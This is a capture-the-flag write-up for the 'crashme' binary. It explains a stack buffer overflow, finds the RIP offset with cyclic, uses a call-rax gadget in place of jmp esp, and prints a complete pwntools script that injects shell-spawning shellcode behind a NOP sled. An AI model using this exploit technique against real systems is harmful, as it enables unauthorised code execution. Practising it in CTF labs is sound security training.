crashme

to solve this challenge we are going to inject shellcode since the NX is disabled, often we jump to the esp to execute the shellcode but in this challenge there's not jmp esp gadgets this is why we are going to search for other registers and we will find rax as a way to execute the shellcode.
File Reconnaissance :
this file is a 64bit executable and all the protections are disabled so we can inject shellcode into the stack and execute it to get the flag

opening the crashme binary c code we can see that its vulnerable to buffer overflow since it reads 64 bytes and the buffer is only 32 bytes

Calculating the offset to overwrite the RIP :
i often calculate the offset using pwndbg and cyclic


the sequence that made it into the RIP is located in the RSP register which is 'faaaaaaa' , using cyclic -l we can determine at which offset that sequence happen and this way we get the offset to the RIP which is 40

normally when we build a shellcode injection script we first try to overflow the buffer and overwrite the EIP with the address of the gadget jmp esp
and from there we start to execute the shellcode but in this binary this gadget doesn't exist
so we need to find registers that are pointing to the stack and to do that we should find a call
gadget in our program. I've used objdump to disassemble full binary.
objdump -d crashme | grep call

so the plan is we are going to overflow the buffer and overwrite the RIP with the address 0x40066e to jump to the register rax where we will put our shellcode so when we return to the register rax our shellcode will start executing
Exploit :
from pwn import *
# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Binary filename
exe = './crashme'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
io = start()
# Offset to RIP
padding = 40
#located using objdump (objdump -d crashme | grep call)
rax = 0x40066e
# Print flag
# shellcode = asm(shellcraft.cat('flag.txt'))
# get remote shell
shellcode = asm(shellcraft.sh())
# Exit
shellcode += asm(shellcraft.exit())
# Build payload
payload = flat(
asm('nop') * padding,
rax, # return to rax
asm('nop') * 16, # NOP sled of 16 bytes
shellcode
)
# Exploit
io.sendlineafter(b':', payload)
# Get flag/shell
io.interactive()
NOP Sled :
The empty space (filled with NOPs, which stands for No Operation) before the shellcode is known as a "nop sled" or "slide." This technique is often used in buffer overflow exploits to increase the chances of successfully redirecting the program's control flow to the shellcode.
asm('nop') * 16
: This is an additional NOP sled of 16 bytes. NOP sleds act as a buffer in case the exact return address is not hit precisely. It provides some "wiggle room" for the program's execution flow to slide into the intended shellcode.
now let's run the exploit remotely

Flag :
flag{segfaults_a_hackers_best_friend}
Last updated
Was this helpful?